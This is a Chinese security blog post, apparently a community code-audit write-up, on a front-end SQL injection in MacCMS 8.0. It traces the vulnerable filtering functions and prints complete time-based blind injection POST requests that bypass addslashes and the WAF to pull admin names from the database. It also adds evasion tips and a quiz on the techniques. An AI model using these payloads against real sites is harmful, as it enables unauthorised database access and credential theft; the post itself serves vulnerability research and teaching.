苹果cms function.php,送你们几个字!对!就是MACCMS注入!

文末答题赢福利122347635_1_201801190606575490x00 相关信息源码信息:maccms8_mfb(苹果CMS视频分享程序 8.0 | 2017.09.27 发布) 

源码下载:http://www.mycodes.net/47/7798.htm(官网http://www.maccms.com/down.html 已悄悄修复╮(╯▽╰)╭)

问题位置:maccms8_mfb\inc\common\function.php中htmlEncode方法

漏洞类型:前台SQL注入漏洞

122347635_1_20180119060657549

0x01 审计过程

1.首先在maccms8_mfb\inc\module\vod.php文件中的第93-98行的代码当$method=search成立的时候便回进入到be('all',      'wd')获取请求中wd参数的值,并使用chkSql($wd)方法对$wd进行安全处理。

2.跟入be方法在maccms8_mfb\inc\common\function.php文件中的第266-294行中可看到该方法是对GET,POST,REQUEST接收到的参数进行addslashes的转义处理,根据上一步可以知道be('all',      'wd')是,使用REQUEST接收wd参数的值并使用addslashes函数进行转义处理。122347635_3_20180119060657737

3.回到maccms8_mfb\inc\module\vod.php第96行再跟入chkSql方法,在maccms8_mfb\inc\common\360_safe3.php文件中的第27-43行中可以看到该方法是将接收到的变量进行循环urldecode直到解出原文为止,解出后再丢进StopAttack进行处理,处理完成后返回htmlEncode($s)的值。122347635_4_20180119060657955

4.跟入StopAttack方法在maccms8_mfb\inc\common\360_safe3.php文件中的第12-26行中可以看到该方法是使用接收到的正则$ArrFiltReq进行安全处理。122347635_5_20180119060658127

5.跟入$getfilter在maccms8_mfb\inc\common\360_safe3.php文件中的第57-61行可以看到该方法是检测GET,POST,COOKIE中的关键字的拦截规则,且该检测规则存在被绕过的问题。122347635_6_20180119060658330

6.回到maccms8_mfb\inc\common\360_safe3.php的第42行再跟入htmlEncode方法,在maccms8_mfb\inc\common\function.php文件中的572-586行可以看到该方法是对&,’,空格,”,TAB,回车,换行,大小于号进行实体化的转换,此处没有对其他的空白字符和反斜杠进行处理,可以被绕过。122347635_7_20180119060709377

7.回到maccms8_mfb\inc\module\vod.php第98行再跟入$tpl->P['wd'] = $wd;,在maccms8_mfb\inc\common\template.php文件的第2372行看到$tpl被创建的位置,且class AppTpl也是在当前文件被创建的,跟踪P['wd']数据发现传递给了$lp['wd'],然后跟踪$lp['wd'],在如下两处进行了SQL的拼接处理,所以存在SQL注入,且是单引号字符型注入。

第一处:需要请求m参数为m=vod-search的时候触发。122347635_8_20180119060709705

122347635_9_2018011906071096第二处:需要请求m参数为m=art-search的时候触发。122347635_10_20180119060710424

122347635_11_20180119060710659122347635_1_20180119060657549

0x02 漏洞复现

在上述的分析过程中可以知道htmlEncode仅对&,’,空格,”,TAB,回车,换行,大小于号进行实体化的转换,可以使用%0b绕过,但是根据0x01中的第7步可以知道是字符型注入,需要闭合单引号,htmlEncode又把单引号进行的实体化,所以可以转换思路,如下两个SQL语句拼接时候$lp['wd']在SQL语句中可以控制两个位置,因此可以传入反斜杠进行单引号的转义和闭合,又由于0x01中第2步得知REQUEST请求使用了addslashes函数进行转义处理,0x01中的第3步中使用urldecode进行解码,所以可以使用双url编码绕过addslashes函数。122347635_12_20180119060710815

122347635_13_20180119060716315类似如下的操作:

最终的利用payload,mac_vod和mac_art两张表中要有数据。

在进行数据的枚举时候需要将cookie 中的PHPSESSID删掉,否则会限制快速访问,如下是对应的EXP,获取的正确数据变会延迟5s回显。

POST /code/maccms8_mfb/index.php?m=vod-search HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 91

Connection: keep-alive

Upgrade-Insecure-Requests: 1

wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(5)),0)#%25%35%63

POST /code/maccms8_mfb/index.php?m=art-search HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 91

Connection: keep-alive

Upgrade-Insecure-Requests: 1

wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(5)),0)#%25%35%63

122347635_1_20180119060657549

0x03 小总结

用反斜杠转义单引号的方法适用当用户可控的位置有两处及以上,且在同一SQL语句中被拼接,当然前提是反斜杠未被处理,本篇就是这种情况,本篇漏洞复现的源码官方已经悄然修复,所以大家要进行漏洞学习的话请前往http://www.mycodes.net/47/7798.htm进行源码的下载,当然如果大家有更好的思路欢迎一起讨论交流。

122347635_15_20180119060716612

上周答案:ACD

上周共有几十位小伙伴参与了社区答题,第一题只有3位小伙伴答对了哟!第二题也是3位小伙伴呢!第三题的准确率那可是杠杠的,全票答对!这周答题继续,小伙伴们再接再厉呀!!!122347635_16_20180119060716908

答题积分榜昵称                 得分JOKE                     10分

因果                       10分

Tr@cer_0x06lA      10分

xz                             5分

LOKI                        5分

!f4me                    5分

优雅的Mr.Py            5分

Passive                  5分

J1ink                       5分

67                           5分

M                            5分

Passive                  5分

J1ink                       5分

67                           5分

大头                        5分

邢                            5分

122347635_17_20180119060716940

答题开始:

本篇涉及的小技巧有:()

A.利用反斜杠转义单引号从而引入SQL语句进行注入

B.使用%0b和反引号绕过waf的拦截规则

C.Regexp处使用16进制编码避免单引号被转义

D.数据枚举时候删除PHPSESSID避免访问次数被限制

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值